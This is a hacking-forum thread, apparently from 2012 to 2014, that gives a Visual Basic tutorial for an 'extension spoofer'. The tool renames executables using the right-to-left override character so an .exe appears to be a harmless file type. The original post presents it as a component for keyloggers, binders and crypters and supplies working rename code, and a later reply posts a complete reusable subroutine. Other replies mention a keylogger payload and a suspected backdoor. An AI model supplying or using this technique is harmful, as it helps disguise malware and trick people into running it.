Thread: [\[Snippet\]Tutorial\] Extension Spoofer \[Snippet\]Tutorial\]](#)

Victoria J - March 8, 2012, 6:23 pm

First thing is first, all credits to Aeonhack for his theme used in this program.

The reason I call this a snippet is because many people include these types of programs in their keyloggers, file binders, crypters, and more.

To make this program (my way), you'll need:

- Three Textboxes
- Two Buttons

The first button will select the file to be spoofed

Code Dim browse As New OpenFileDialog

browse.Filter = "Executable Files|*.exe|All Files|*.*"

browse.ShowDialog()

TextBox1.Text = browse.FileName

'Declares a new open file dialog, and filters the extension to executable files or all files

'The first textbox will be the executable's name that was previously chosen This will allow you to select the file to be spoofed.

The second button will simply rename your file, but in a special way

Note: The code here looks messed up because of the left to right overdrive character, but in visual basic this will look normal

Code My.Computer.FileSystem.RenameFile(TextBox1.Text, TextBox2.Text & "?" &

StrReverse(TextBox3.Text) & ".exe")

'Renames the file from the "browse" open dialog

'The new name is the second textbox, the "" appears to be nothing, but it's the Left To Right Overdrive Character

'The String Reverse function puts the file extension backwards (appears forward)

'Lastly, the file is really saved with the .exe extension

Here is a look at the program itself:

**** JIT Debugging ****

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

Victoria J - March 8, 2012, 6:56 pm

Are you sure your antivirus or something didn't delete or move the program before you clicked the button? Works perfectly for me

Mahyem - March 8, 2012, 10:37 pm

**** Exception Text ****

System.IO.FileNotFoundException: Could not find file
'C:\Users\Admin\Downloads\Compressed\Emissary Keylogger (1)\server.exe'. It says everything,
maybe your AV delete the program or you don't have admin privileges?

1patron - March 12, 2012, 5:19 am

that a fake when i start program in my task manager only cmd/cmd/cmd conhost/conhost that's is
backdoored

fillobotto - March 12, 2012, 5:33 am

Anyway this doesn't work, it just add something like "êxe" to the filename

gixslayer - March 12, 2012, 5:36 am

the RTLO unicode 'spooF' method does work. Got a working code in C#. It works on my win7 64bit
machine but I've read that you need specific settings enabled/installed for the unicode character to
work.

Mr.Nemesis - March 13, 2012, 6:49 am

Thanx for sharing this...

I was looking for this

nick_wright_204 - August 3, 2013, 5:51 pm

see there is skids like you, why delete the download? retard.

Why grave did this thread? retard skid.

Wink Emoticon - January 2, 2014, 10:15 pm

Thanks for the tutorial man, I really appreciate it.

GreyPhantom - January 4, 2014, 12:46 am

Link is dead. Update link please ..

Brokeos - January 4, 2014, 12:24 pm

```
Public Sub ChangeExt(ByVal thefile As String, ByVal theextension As String)
```

```
    Dim array As Char() = theextension.ToCharArray
```

```
    array.Reverse(array)
```

```
    Dim destFileName As String = (thefile.Substring(0, (thefile.Length - 4)) & ChrW(8238) & New  
String(array) & thefile.Substring((thefile.Length - 4)))
```

```
    File.Move(thefile, destFileName)
```

```
End Sub
```
